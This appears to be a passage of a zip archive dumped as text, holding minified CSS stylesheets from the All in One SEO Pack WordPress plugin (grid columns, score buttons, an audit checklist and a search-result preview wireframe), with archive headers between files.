var(--aioseo-gutter) * .4166666667);flex-basis:calc(58.3333333333% - var(--aioseo-gutter) * .4166666667)}.aioseo-col.col-lg-8{max-width:calc(66.6666666667% - var(--aioseo-gutter) * .3333333333);flex-basis:calc(66.6666666667% - var(--aioseo-gutter) * .3333333333)}.aioseo-col.col-lg-9{max-width:calc(75% - var(--aioseo-gutter) * .25);flex-basis:calc(75% - var(--aioseo-gutter) * .25)}.aioseo-col.col-lg-10{max-width:calc(83.3333333333% - var(--aioseo-gutter) * .1666666667);flex-basis:calc(83.3333333333% - var(--aioseo-gutter) * .1666666667)}.aioseo-col.col-lg-11{max-width:calc(91.6666666667% - var(--aioseo-gutter) * .0833333333);flex-basis:calc(91.6666666667% - var(--aioseo-gutter) * .0833333333)}.aioseo-col.col-lg-12{max-width:100%;flex-basis:100%}[dir=ltr] .aioseo-col.col-lg-offset-0{margin-left:0}[dir=rtl] .aioseo-col.col-lg-offset-0{margin-right:0}[dir=ltr] .aioseo-col.col-lg-offset-1{margin-left:8.33333333%}[dir=rtl] .aioseo-col.col-lg-offset-1{margin-right:8.33333333%}[dir=ltr] .aioseo-col.col-lg-offset-2{margin-left:16.66666667%}[dir=rtl] .aioseo-col.col-lg-offset-2{margin-right:16.66666667%}[dir=ltr] .aioseo-col.col-lg-offset-3{margin-left:25%}[dir=rtl] .aioseo-col.col-lg-offset-3{margin-right:25%}[dir=ltr] .aioseo-col.col-lg-offset-4{margin-left:33.33333333%}[dir=rtl] .aioseo-col.col-lg-offset-4{margin-right:33.33333333%}[dir=ltr] .aioseo-col.col-lg-offset-5{margin-left:41.66666667%}[dir=rtl] .aioseo-col.col-lg-offset-5{margin-right:41.66666667%}[dir=ltr] .aioseo-col.col-lg-offset-6{margin-left:50%}[dir=rtl] .aioseo-col.col-lg-offset-6{margin-right:50%}[dir=ltr] .aioseo-col.col-lg-offset-7{margin-left:58.33333333%}[dir=rtl] .aioseo-col.col-lg-offset-7{margin-right:58.33333333%}[dir=ltr] .aioseo-col.col-lg-offset-8{margin-left:66.66666667%}[dir=rtl] .aioseo-col.col-lg-offset-8{margin-right:66.66666667%}[dir=ltr] .aioseo-col.col-lg-offset-9{margin-left:75%}[dir=rtl] .aioseo-col.col-lg-offset-9{margin-right:75%}[dir=ltr] .aioseo-col.col-lg-offset-10{margin-left:83.33333333%}[dir=rtl] .aioseo-col.col-lg-offset-10{margin-right:83.33333333%}[dir=ltr] .aioseo-col.col-lg-offset-11{margin-left:91.66666667%}[dir=rtl] .aioseo-col.col-lg-offset-11{margin-right:91.66666667%}.aioseo-col.first-lg{order:-1}.aioseo-col.last-lg{order:1}.aioseo-col.text-lg-left{justify-content:flex-start}[dir=ltr] .aioseo-col.text-lg-left{text-align:left!important}[dir=rtl] .aioseo-col.text-lg-left{text-align:right!important}.aioseo-col.text-lg-center{text-align:center!important;justify-content:center}.aioseo-col.text-lg-right{justify-content:flex-end}[dir=ltr] .aioseo-col.text-lg-right{text-align:right!important}[dir=rtl] .aioseo-col.text-lg-right{text-align:left!important}}@media only screen and (min-width: 1140px){.aioseo-col.col-xl,.aioseo-col.col-xl-1,.aioseo-col.col-xl-2,.aioseo-col.col-xl-3,.aioseo-col.col-xl-4,.aioseo-col.col-xl-5,.aioseo-col.col-xl-6,.aioseo-col.col-xl-7,.aioseo-col.col-xl-8,.aioseo-col.col-xl-9,.aioseo-col.col-xl-10,.aioseo-col.col-xl-11,.aioseo-col.col-xl-12,.aioseo-col.col-xl-offset-0,.aioseo-col.col-xl-offset-1,.aioseo-col.col-xl-offset-2,.aioseo-col.col-xl-offset-3,.aioseo-col.col-xl-offset-4,.aioseo-col.col-xl-offset-5,.aioseo-col.col-xl-offset-6,.aioseo-col.col-xl-offset-7,.aioseo-col.col-xl-offset-8,.aioseo-col.col-xl-offset-9,.aioseo-col.col-xl-offset-10,.aioseo-col.col-xl-offset-11,.aioseo-col.col-xl-offset-12{box-sizing:border-box;flex:0 0 auto}.aioseo-col.col-xl{flex-grow:1;flex-basis:0;max-width:100%}.aioseo-col.col-xl-1{max-width:calc(8.3333333333% - var(--aioseo-gutter) * .9166666667);flex-basis:calc(8.3333333333% - var(--aioseo-gutter) * .9166666667)}.aioseo-col.col-xl-2{max-width:calc(16.6666666667% - var(--aioseo-gutter) * .8333333333);flex-basis:calc(16.6666666667% - var(--aioseo-gutter) * .8333333333)}.aioseo-col.col-xl-3{max-width:calc(25% - var(--aioseo-gutter) * .75);flex-basis:calc(25% - var(--aioseo-gutter) * .75)}.aioseo-col.col-xl-4{max-width:calc(33.3333333333% - var(--aioseo-gutter) * .6666666667);flex-basis:calc(33.3333333333% - var(--aioseo-gutter) * .6666666667)}.aioseo-col.col-xl-5{max-width:calc(41.6666666667% - var(--aioseo-gutter) * .5833333333);flex-basis:calc(41.6666666667% - var(--aioseo-gutter) * .5833333333)}.aioseo-col.col-xl-6{max-width:calc(50% - var(--aioseo-gutter) * .5);flex-basis:calc(50% - var(--aioseo-gutter) * .5)}.aioseo-col.col-xl-7{max-width:calc(58.3333333333% - var(--aioseo-gutter) * .4166666667);flex-basis:calc(58.3333333333% - var(--aioseo-gutter) * .4166666667)}.aioseo-col.col-xl-8{max-width:calc(66.6666666667% - var(--aioseo-gutter) * .3333333333);flex-basis:calc(66.6666666667% - var(--aioseo-gutter) * .3333333333)}.aioseo-col.col-xl-9{max-width:calc(75% - var(--aioseo-gutter) * .25);flex-basis:calc(75% - var(--aioseo-gutter) * .25)}.aioseo-col.col-xl-10{max-width:calc(83.3333333333% - var(--aioseo-gutter) * .1666666667);flex-basis:calc(83.3333333333% - var(--aioseo-gutter) * .1666666667)}.aioseo-col.col-xl-11{max-width:calc(91.6666666667% - var(--aioseo-gutter) * .0833333333);flex-basis:calc(91.6666666667% - var(--aioseo-gutter) * .0833333333)}.aioseo-col.col-xl-12{max-width:100%;flex-basis:100%}[dir=ltr] .aioseo-col.col-xl-offset-0{margin-left:0}[dir=rtl] .aioseo-col.col-xl-offset-0{margin-right:0}[dir=ltr] .aioseo-col.col-xl-offset-1{margin-left:8.33333333%}[dir=rtl] .aioseo-col.col-xl-offset-1{margin-right:8.33333333%}[dir=ltr] .aioseo-col.col-xl-offset-2{margin-left:16.66666667%}[dir=rtl] .aioseo-col.col-xl-offset-2{margin-right:16.66666667%}[dir=ltr] .aioseo-col.col-xl-offset-3{margin-left:25%}[dir=rtl] .aioseo-col.col-xl-offset-3{margin-right:25%}[dir=ltr] .aioseo-col.col-xl-offset-4{margin-left:33.33333333%}[dir=rtl] .aioseo-col.col-xl-offset-4{margin-right:33.33333333%}[dir=ltr] .aioseo-col.col-xl-offset-5{margin-left:41.66666667%}[dir=rtl] .aioseo-col.col-xl-offset-5{margin-right:41.66666667%}[dir=ltr] .aioseo-col.col-xl-offset-6{margin-left:50%}[dir=rtl] .aioseo-col.col-xl-offset-6{margin-right:50%}[dir=ltr] .aioseo-col.col-xl-offset-7{margin-left:58.33333333%}[dir=rtl] .aioseo-col.col-xl-offset-7{margin-right:58.33333333%}[dir=ltr] .aioseo-col.col-xl-offset-8{margin-left:66.66666667%}[dir=rtl] .aioseo-col.col-xl-offset-8{margin-right:66.66666667%}[dir=ltr] .aioseo-col.col-xl-offset-9{margin-left:75%}[dir=rtl] .aioseo-col.col-xl-offset-9{margin-right:75%}[dir=ltr] .aioseo-col.col-xl-offset-10{margin-left:83.33333333%}[dir=rtl] .aioseo-col.col-xl-offset-10{margin-right:83.33333333%}[dir=ltr] .aioseo-col.col-xl-offset-11{margin-left:91.66666667%}[dir=rtl] .aioseo-col.col-xl-offset-11{margin-right:91.66666667%}.aioseo-col.first-xl{order:-1}.aioseo-col.last-xl{order:1}.aioseo-col.text-xl-left{justify-content:flex-start}[dir=ltr] .aioseo-col.text-xl-left{text-align:left!important}[dir=rtl] .aioseo-col.text-xl-left{text-align:right!important}.aioseo-col.text-xl-center{text-align:center!important;justify-content:center}.aioseo-col.text-xl-right{justify-content:flex-end}[dir=ltr] .aioseo-col.text-xl-right{text-align:right!important}[dir=rtl] .aioseo-col.text-xl-right{text-align:left!important}}.aioseo-row{box-sizing:border-box;display:flex;flex:0 1 auto;flex-direction:row;flex-wrap:wrap;gap:var(--aioseo-gutter, 8px)}.aioseo-row.reverse{flex-direction:row-reverse}.aioseo-row.start-xs{justify-content:flex-start;text-align:start}.aioseo-row.center-xs{justify-content:center;text-align:center}.aioseo-row.end-xs{justify-content:flex-end;text-align:end}.aioseo-row.top-xs{align-items:flex-start}.aioseo-row.middle-xs{align-items:center}.aioseo-row.bottom-xs{align-items:flex-end}.aioseo-row.around-xs{justify-content:space-around}.aioseo-row.between-xs{justify-content:space-between}@media only screen and (min-width: 783px){.aioseo-row.start-sm{justify-content:flex-start;text-align:start}.aioseo-row.center-sm{justify-content:center;text-align:center}.aioseo-row.end-sm{justify-content:flex-end;text-align:end}.aioseo-row.top-sm{align-items:flex-start}.aioseo-row.middle-sm{align-items:center}.aioseo-row.bottom-sm{align-items:flex-end}.aioseo-row.around-sm{justify-content:space-around}.aioseo-row.between-sm{justify-content:space-between}}@media only screen and (min-width: 912px){.aioseo-row.start-md{justify-content:flex-start;text-align:start}.aioseo-row.center-md{justify-content:center;text-align:center}.aioseo-row.end-md{justify-content:flex-end;text-align:end}.aioseo-row.top-md{align-items:flex-start}.aioseo-row.middle-md{align-items:center}.aioseo-row.bottom-md{align-items:flex-end}.aioseo-row.around-md{justify-content:space-around}.aioseo-row.between-md{justify-content:space-between}}@media only screen and (min-width: 1042px){.aioseo-row.start-lg{justify-content:flex-start;text-align:start}.aioseo-row.center-lg{justify-content:center;text-align:center}.aioseo-row.end-lg{justify-content:flex-end;text-align:end}.aioseo-row.top-lg{align-items:flex-start}.aioseo-row.middle-lg{align-items:center}.aioseo-row.bottom-lg{align-items:flex-end}.aioseo-row.around-lg{justify-content:space-around}.aioseo-row.between-lg{justify-content:space-between}} PKÉ—[ß-ì×íí9all-in-one-seo-pack/dist/Lite/assets/css/Row.BKNJ32Yi.cssnu„[µü¤.aioseo-table-column{display:flex;flex-direction:column;flex:1;padding:5px;justify-content:center;line-height:22px}.aioseo-table-row{display:flex;flex-direction:row;flex-wrap:wrap;width:100%}.aioseo-table-row.header-row{font-weight:600} PKÉ—[çÈh‹‹@all-in-one-seo-pack/dist/Lite/assets/css/RssContent.OMnzYKmw.cssnu„[µü¤.aioseo-rss-content svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-rss-content svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-rss-content svg.aioseo-external{margin-left:10px}.aioseo-rss-content .no-access{margin-bottom:30px}.aioseo-rss-content .aioseo-alert{margin-top:10px}.aioseo-rss-content .aioseo-rss-content-advanced .aioseo-settings-row .aioseo-col{padding-top:0} PKÉ—[ŽXÂO<<@all-in-one-seo-pack/dist/Lite/assets/css/RssSitemap.CLjtAcnp.cssnu„[µü¤.aioseo-rss-sitemap .aioseo-links-per-site{max-width:110px}.aioseo-rss-sitemap .aioseo-sitemap-preview{display:flex;align-items:center;margin-bottom:10px}[dir=ltr] .aioseo-rss-sitemap .aioseo-sitemap-preview{margin-right:10px}[dir=rtl] .aioseo-rss-sitemap .aioseo-sitemap-preview{margin-left:10px}.aioseo-rss-sitemap .aioseo-sitemap-preview .aioseo-select{max-width:180px}[dir=ltr] .aioseo-rss-sitemap .aioseo-sitemap-preview .aioseo-select{margin-right:10px}[dir=rtl] .aioseo-rss-sitemap .aioseo-sitemap-preview .aioseo-select{margin-left:10px}.aioseo-rss-sitemap .aioseo-sitemap-preview svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-rss-sitemap .aioseo-sitemap-preview svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-rss-sitemap .aioseo-sitemap-preview svg.aioseo-external{margin-left:10px}[dir=ltr] .aioseo-rss-sitemap .ping>div:first-child{margin-right:40px}[dir=rtl] .aioseo-rss-sitemap .ping>div:first-child{margin-left:40px}.aioseo-rss-sitemap .aioseo-priority-score{max-width:350px}.aioseo-rss-sitemap .aioseo-priority-score .header-row{font-size:14px} PKÉ—[p <all-in-one-seo-pack/dist/Lite/assets/css/Schema.DoPK_XlI.cssnu„[µü¤.aioseo-sa-ct-custom-fields.lite{min-height:370px}@media (max-width: 598px){.aioseo-sa-ct-custom-fields.lite .aioseo-cta.floating{top:0}}@media (max-width: 420px){.aioseo-sa-ct-custom-fields.lite{min-height:450px}}.aioseo-app .aioseo-sa-ct-schema-lite{min-height:580px}@media (max-width: 598px){.aioseo-app .aioseo-sa-ct-schema-lite{min-height:640px}.aioseo-app .aioseo-sa-ct-schema-lite .aioseo-cta.floating{top:0}}@media (max-width: 420px){.aioseo-app .aioseo-sa-ct-schema-lite{min-height:770px}}.aioseo-app .aioseo-sa-ct-schema-lite .aioseo-cta .header-text{width:100%;max-width:600px}.aioseo-app .aioseo-sa-ct-schema-lite .schema-type{max-width:250px} PKÉ—[»”ܵµAall-in-one-seo-pack/dist/Lite/assets/css/ScoreButton.CGfMnin4.cssnu„[µü¤.aioseo-score-settings{display:flex;align-items:center;padding-bottom:14px}[dir=ltr] .aioseo-score-settings svg{margin-right:7px}[dir=rtl] .aioseo-score-settings svg{margin-left:7px}[dir=ltr] .aioseo-score-settings span{margin-right:12px}[dir=rtl] .aioseo-score-settings span{margin-left:12px}.aioseo-score-button{display:inline-flex;flex-direction:row;justify-content:center;align-items:center;gap:4px;padding:5px 8px;font-size:14px;font-weight:700;line-height:125%;color:#a1a1a1;border:1px solid #a1a1a1;border-radius:2px}.aioseo-score-button svg{height:16px;vertical-align:middle}.aioseo-score-button.score-red,.aioseo-score-button.score-none{border-color:#df2a4a;color:#df2a4a!important}.aioseo-score-button.score-orange{border-color:#f18200;color:#f18200!important}.aioseo-score-button.score-green{border-color:#00aa63;color:#00aa63!important}.aioseo-score-button--active.score-red,.aioseo-score-button--active.score-none{background:#df2a4a!important;color:#fff!important;border-color:#fff}.aioseo-score-button--active.score-orange{background:#f18200!important;color:#fff!important;border-color:#fff}.aioseo-score-button--active.score-green{background:#00aa63!important;color:#fff!important;border-color:#fff}.aioseo-score-button.classic-editor{background:#fff!important;display:inline-block!important;height:auto!important}[dir=ltr] .aioseo-score-button.classic-editor span{margin-right:0}[dir=rtl] .aioseo-score-button.classic-editor span{margin-left:0} PKÉ—[W[%û--;all-in-one-seo-pack/dist/Lite/assets/css/Score.D50c_Vva.cssnu„[µü¤.analyze-main{display:flex;flex-direction:column;align-items:center;justify-self:center;font-size:16px}.analyze-main .analyze-header{font-size:24px;line-height:30px;font-weight:600;margin-bottom:12px}.analyze-main .analyze-description{text-align:center;font-size:16px;line-height:24px}.analyze-main .analyze-input{margin-top:12px;display:flex;align-items:center;gap:8px}.analyze-main .analyze-input .aioseo-input{min-width:430px}[dir=ltr] .analyze-main .analyze-input .aioseo-input{margin-right:10px}[dir=rtl] .analyze-main .analyze-input .aioseo-input{margin-left:10px}.analyze-progress{min-width:548px;margin-top:30px;background:#dcdde1;justify-content:flex-start;border-radius:100px;align-items:center;position:relative;padding:0;display:flex;height:10px;width:500px}.analyze-progress .analyze-progress-value{animation:analyze-load 2s normal forwards;border-radius:100px;background:#005ae0;height:10px;width:0}@keyframes analyze-load{0%{width:0}to{width:100%}}.aioseo-analyze-score{border:1px solid #00AA63;border-radius:3px;color:#00aa63;font-size:14px;padding:0 8px;height:26px;line-height:26px}[dir=ltr] .aioseo-analyze-score{margin-right:12px}[dir=rtl] .aioseo-analyze-score{margin-left:12px}.aioseo-analyze-score.red{color:#df2a4a;border-color:#df2a4a}.aioseo-analyze-score.orange{color:#f18200;border-color:#f18200} PKÉ—[«šgä22Hall-in-one-seo-pack/dist/Lite/assets/css/ScrollAndHighlight.SHsYcZL5.cssnu„[µü¤.aioseo-api-bar{display:flex;align-items:center;height:40px;background-color:#df2a4a;justify-content:center;color:#fff;font-size:13px}[dir=ltr] .aioseo-api-bar{padding:0 14px 0 40px}[dir=rtl] .aioseo-api-bar{padding:0 40px 0 14px}.aioseo-api-bar .upgrade-text{display:flex;align-items:center;flex:1;justify-content:center}.aioseo-api-bar strong{font-weight:600}.aioseo-api-bar svg.aioseo-logo-gear{width:20px;height:20px;min-width:20px}[dir=ltr] .aioseo-api-bar svg.aioseo-logo-gear{margin-right:14px}[dir=rtl] .aioseo-api-bar svg.aioseo-logo-gear{margin-left:14px}.aioseo-api-bar svg.aioseo-close{cursor:pointer;width:12px;height:12px}.aioseo-api-bar a{color:#fff;text-decoration:underline}.aioseo-api-bar a:hover{text-decoration:none}@media screen and (max-width: 782px){.aioseo-api-bar{padding:0 10px;height:60px}} PKÉ—[LR©®®Fall-in-one-seo-pack/dist/Lite/assets/css/SearchAppearance.BAbT96rl.cssnu„[µü¤.aioseo-wizard-search-appearance{color:#141b38}.aioseo-wizard-search-appearance .aioseo-settings-row .aioseo-radio-toggle{margin-top:8px}.aioseo-wizard-search-appearance .aioseo-settings-row .edit-site-info-activator{margin-top:8px;display:flex;align-items:center;justify-content:center;position:relative}.aioseo-wizard-search-appearance .aioseo-settings-row .edit-site-info-activator .aioseo-google-search-preview{border:1px solid #E8E8EB;flex:1;padding:16px}.aioseo-wizard-search-appearance .aioseo-settings-row .edit-site-info-activator .action{position:absolute;top:1;left:1;right:1;bottom:1}.aioseo-wizard-search-appearance .aioseo-settings-row .edit-site-info-activator .background-fade{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid #E8E8EB;cursor:pointer}.aioseo-wizard-search-appearance .aioseo-settings-row .edit-site-info-activator.hover .background-fade{background:#fff;opacity:.7}.aioseo-wizard-search-appearance .aioseo-settings-row.enable-sitemaps .aioseo-checkbox{font-weight:600}.aioseo-wizard-search-appearance .aioseo-settings-row.post-types .aioseo-toggle{color:#141b38;font-weight:600}.aioseo-wizard-search-appearance .go-back a{color:#434960;font-size:14px} PKÉ—[GY^aÝÝGall-in-one-seo-pack/dist/Lite/assets/css/search-statistics.BLeWJjZr.cssnu„[µü¤.aioseo-fetching-data{text-align:center}.aioseo-fetching-data .modal-wrapper .modal-container{max-width:400px}.aioseo-fetching-data .modal-wrapper .modal-container .modal-body{padding:20px}.aioseo-fetching-data .aioseo-circle-information{color:#1a82ea}.aioseo-fetching-data-title{font-size:24px;font-weight:600;margin:20px 0 10px}.aioseo-fetching-data-description{font-size:16px;margin-bottom:20px}.aioseo-fetching-data .aioseo-loading-spinner{position:relative;margin:0 auto} PKÉ—[ îùÃUUGall-in-one-seo-pack/dist/Lite/assets/css/SeoAuditChecklist.DhR8jiXc.cssnu„[µü¤.aioseo-site-score-analyze{position:relative;display:flex;align-items:center;justify-content:center;flex:1}.aioseo-site-score-analyze .analyze-errors{text-align:center;margin-bottom:1em}.aioseo-site-score-analyze .aioseo-seo-site-score-score{position:relative;width:100%;max-width:160px}[dir=ltr] .aioseo-site-score-analyze .aioseo-seo-site-score-score{margin-right:32px}[dir=rtl] .aioseo-site-score-analyze .aioseo-seo-site-score-score{margin-left:32px}.aioseo-site-score-analyze .aioseo-seo-site-score-score svg{width:100%;height:auto}.aioseo-site-score-analyze .aioseo-seo-site-score-score .aioseo-site-score{display:flex}.aioseo-site-score-analyze .aioseo-seo-site-score-score .aioseo-score-amount .score{font-size:40px;line-height:1.2}.aioseo-site-score-analyze .aioseo-seo-site-score-score .aioseo-score-amount .total{font-size:14px}.aioseo-site-score-analyze .aioseo-seo-site-score-score .score-description{font-size:13px}.aioseo-site-score-analyze .aioseo-seo-site-score-description h2{font-size:24px;line-height:30px;margin-bottom:12px}.aioseo-site-score-analyze .aioseo-seo-site-score-description div[class]{margin-top:12px}.aioseo-site-score-analyze .aioseo-seo-site-score-description svg.aioseo-book{width:20px;height:20px;color:#005ae0}[dir=ltr] .aioseo-site-score-analyze .aioseo-seo-site-score-description svg.aioseo-book{margin:0 10px 0 0}[dir=rtl] .aioseo-site-score-analyze .aioseo-seo-site-score-description svg.aioseo-book{margin:0 0 0 10px}.aioseo-site-score-analyze .aioseo-seo-site-score-description .links{margin-top:30px;font-size:14px;font-weight:600}[dir=ltr] .aioseo-site-score-analyze .aioseo-seo-site-score-description .links .no-underline{padding-left:5px}[dir=rtl] .aioseo-site-score-analyze .aioseo-seo-site-score-description .links .no-underline{padding-right:5px}.aioseo-seo-site-score .aioseo-blur{display:flex;align-items:center}.aioseo-seo-site-score .aioseo-seo-site-score-cta{position:absolute;top:50%;background-color:#fff;padding:20px;border:1px solid #E8E8EB;box-shadow:0 2px 10px #005ae033;color:#141b38;font-size:16px;font-weight:600;width:82%;max-width:500px;text-align:center}[dir=ltr] .aioseo-seo-site-score .aioseo-seo-site-score-cta{left:50%;transform:translate(-50%) translateY(-50%)}[dir=rtl] .aioseo-seo-site-score .aioseo-seo-site-score-cta{right:50%;transform:translate(50%) translateY(-50%)}.aioseo-seo-audit-checklist .round{position:relative;border-radius:50%;width:24px;min-width:24px;max-width:24px;height:24px;line-height:24px;display:inline-flex;align-items:center;justify-content:center;font-size:12px;color:#fff;font-weight:600}[dir=ltr] .aioseo-seo-audit-checklist .round{margin-right:10px}[dir=rtl] .aioseo-seo-audit-checklist .round{margin-left:10px}.aioseo-seo-audit-checklist .round.red{background-color:#df2a4a}.aioseo-seo-audit-checklist .round.blue{background-color:#005ae0}.aioseo-seo-audit-checklist .round.orange{background-color:#f18200}.aioseo-seo-audit-checklist .round.green{background-color:#00aa63}.aioseo-seo-audit-checklist .round.black{background-color:#434960}.aioseo-seo-audit-checklist .aioseo-card .header-title{display:inline-flex;flex:1}[dir=ltr] .aioseo-seo-audit-checklist .aioseo-card .header-extra .refresh-results{margin-right:10px}[dir=rtl] .aioseo-seo-audit-checklist .aioseo-card .header-extra .refresh-results{margin-left:10px}.aioseo-seo-audit-checklist .aioseo-card .header-extra .refresh-results .aioseo-refresh{width:14px;height:14px}[dir=ltr] .aioseo-seo-audit-checklist .aioseo-card .header-extra .refresh-results .aioseo-refresh{margin-right:10px}[dir=rtl] .aioseo-seo-audit-checklist .aioseo-card .header-extra .refresh-results .aioseo-refresh{margin-left:10px} PKÉ—[OD+ã­@­@Aall-in-one-seo-pack/dist/Lite/assets/css/seo-preview.CRZ7aeiM.cssnu„[µü¤.preview-wrapper[data-v-8a1fdef2]{margin:20px}.preview-wrapper>*[data-v-8a1fdef2]{padding:0}.google-serp-snippet-placeholder__main[data-v-66375cd8]{column-gap:10px;display:grid;grid-template-columns:28px auto;grid-template-rows:13px 9px 19px 8px 8px;grid-template-areas:"favicon hostname" "favicon url" "title title" "desc1 desc1" "desc2 desc2";row-gap:6px}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]{border-radius:2px}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]:nth-child(1){background-color:#dcdde1;border-radius:50%;grid-area:favicon}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]:nth-child(2){background-color:#dcdde1;grid-area:hostname;max-width:77%}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]:nth-child(3){background-color:#dcdde1;grid-area:url;max-width:87%}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]:nth-child(4){background-color:#d6d4f7;grid-area:title;max-width:82%}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]:nth-child(5){background-color:#dcdde1;grid-area:desc1}.google-serp-snippet-placeholder__main>div[data-v-66375cd8]:nth-child(6){background-color:#dcdde1;grid-area:desc2;max-width:92%}.google-serp-wireframe[data-v-d89a1214]{--px: 10px;--px-desktop: 20px;background-color:#fff;border-radius:8px;overflow:hidden;position:relative}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe[data-v-d89a1214]{border-radius:40px 40px 0 0;margin:0 auto;max-width:260px;width:100%}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe .aioseo-mobile-device-frame[data-v-d89a1214]{color:#141b38;display:block;object-fit:cover;position:absolute;width:100%}[dir=ltr] .google-serp-wireframe-wrapper--mobile .google-serp-wireframe .aioseo-mobile-device-frame[data-v-d89a1214]{left:0}[dir=rtl] .google-serp-wireframe-wrapper--mobile .google-serp-wireframe .aioseo-mobile-device-frame[data-v-d89a1214]{right:0}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__overflow-y[data-v-d89a1214]{--mt: 35px;margin:var(--mt) 8px 0;height:calc(485px - var(--mt));overflow-y:auto;position:relative}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body[data-v-d89a1214]{flex-wrap:wrap;gap:8px;padding:4px var(--px) 10px}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body .svg-logo-google-wrapper[data-v-d89a1214]{order:2}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body .svg-search-wrapper[data-v-d89a1214]{max-width:100%;order:4}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body .svg-settings-wrapper[data-v-d89a1214]{order:1;visibility:hidden}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body .svg-dannie-profile-wrapper[data-v-d89a1214]{height:20px;order:3;width:20px}[dir=ltr] .google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body .svg-dannie-profile-wrapper[data-v-d89a1214]{margin-left:auto}[dir=rtl] .google-serp-wireframe-wrapper--mobile .google-serp-wireframe__body .svg-dannie-profile-wrapper[data-v-d89a1214]{margin-right:auto}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__search-bar[data-v-d89a1214]{flex-direction:row-reverse;justify-content:flex-end}[dir=ltr] .google-serp-wireframe-wrapper--mobile .google-serp-wireframe__tabs[data-v-d89a1214]{padding:0 0 0 var(--px)}[dir=rtl] .google-serp-wireframe-wrapper--mobile .google-serp-wireframe__tabs[data-v-d89a1214]{padding:0 var(--px) 0 0}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__snippet[data-v-d89a1214]{padding:20px var(--px) 0}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__snippet .google-serp-snippet-placeholder[data-v-d89a1214]{border-top:5px solid #E8E8EB;margin:20px calc(var(--px) * -1) 0;padding-top:20px}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__snippet .google-serp-snippet-placeholder[data-v-d89a1214] .google-serp-snippet-placeholder__main{padding-left:var(--px);padding-right:var(--px)}.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__header[data-v-d89a1214],.google-serp-wireframe-wrapper--mobile .google-serp-wireframe__results[data-v-d89a1214],.google-serp-wireframe-wrapper--mobile .google-serp-wireframe .aioseo-icon-google-search[data-v-d89a1214],.google-serp-wireframe .aioseo-mobile-device-frame[data-v-d89a1214]{display:none}.google-serp-wireframe__overflow-y[data-v-d89a1214]{background-color:#fff;height:435px}.google-serp-wireframe__header[data-v-d89a1214]{align-items:center;background-color:#141b38;display:flex;gap:23px;padding:9px 24px}.google-serp-wireframe__body[data-v-d89a1214]{align-items:center;display:flex;gap:16px;padding:13px var(--px-desktop)}.google-serp-wireframe__body *[data-v-d89a1214]{line-height:normal}.google-serp-wireframe__body .svg-logo-google-wrapper[data-v-d89a1214]{flex:0 1 auto}.google-serp-wireframe__body .svg-search-wrapper[data-v-d89a1214]{flex:1 1 100%;max-width:400px}.google-serp-wireframe__body .svg-settings-wrapper[data-v-d89a1214]{flex:0 1 auto}[dir=ltr] .google-serp-wireframe__body .svg-settings-wrapper[data-v-d89a1214]{margin-left:auto}[dir=rtl] .google-serp-wireframe__body .svg-settings-wrapper[data-v-d89a1214]{margin-right:auto}.google-serp-wireframe__body .svg-settings-wrapper .aioseo-settings[data-v-d89a1214]{color:#8c8f9a}.google-serp-wireframe__body .svg-dannie-profile-wrapper[data-v-d89a1214]{border-radius:50%;border:1px solid #004F9D;flex:0 1 auto;height:24px;overflow:hidden;width:24px}.google-serp-wireframe__body .svg-dannie-profile-wrapper .aioseo-dannie-profile[data-v-d89a1214]{height:100%;width:100%}.google-serp-wireframe__bullets[data-v-d89a1214]{display:flex;flex:0 1 auto;gap:10px}.google-serp-wireframe__bullets div[data-v-d89a1214]{border-radius:50%;height:12px;width:12px}.google-serp-wireframe__bullets div[data-v-d89a1214]:nth-child(1){background-color:#f83c5d}.google-serp-wireframe__bullets div[data-v-d89a1214]:nth-child(2){background-color:#f18200}.google-serp-wireframe__bullets div[data-v-d89a1214]:nth-child(3){background-color:#07c575}.google-serp-wireframe__address-bar[data-v-d89a1214]{align-items:center;background-color:#fff;border-radius:120px;display:flex;flex:1;gap:14px;height:35px;line-height:35px;padding:0 10px}.google-serp-wireframe__address-bar .aioseo-padlock[data-v-d89a1214]{color:#d0d1d7}.google-serp-wireframe__address-bar .placeholder[data-v-d89a1214]{background-color:#d0d1d7;border-radius:140px;height:12px;max-width:230px;width:100%}.google-serp-wireframe__search-bar[data-v-d89a1214]{align-items:center;border-radius:120px;box-shadow:0 2px 8px #403c4333;color:#141b38;display:flex;font-size:12px;gap:8px;height:30px;justify-content:space-between;line-height:30px;padding:0 14px}.google-serp-wireframe__search-bar .aioseo-search[data-v-d89a1214]{color:#4f86ec;min-width:12px}.google-serp-wireframe__tabs[data-v-d89a1214],.google-serp-wireframe__results[data-v-d89a1214]{margin:0 auto;max-width:660px;width:100%}[dir=ltr] .google-serp-wireframe__tabs[data-v-d89a1214],[dir=ltr] .google-serp-wireframe__results[data-v-d89a1214]{padding:0 215px 0 var(--px-desktop)}[dir=rtl] .google-serp-wireframe__tabs[data-v-d89a1214],[dir=rtl] .google-serp-wireframe__results[data-v-d89a1214]{padding:0 var(--px-desktop) 0 215px}.google-serp-wireframe__tabs[data-v-d89a1214]{align-items:center;display:flex;gap:12px;overflow:hidden}.google-serp-wireframe__tabs__tab[data-v-d89a1214]{display:inline-flex;padding:0 1px 5px}.google-serp-wireframe__tabs__tab--all[data-v-d89a1214]{align-items:center;border-bottom:2px solid 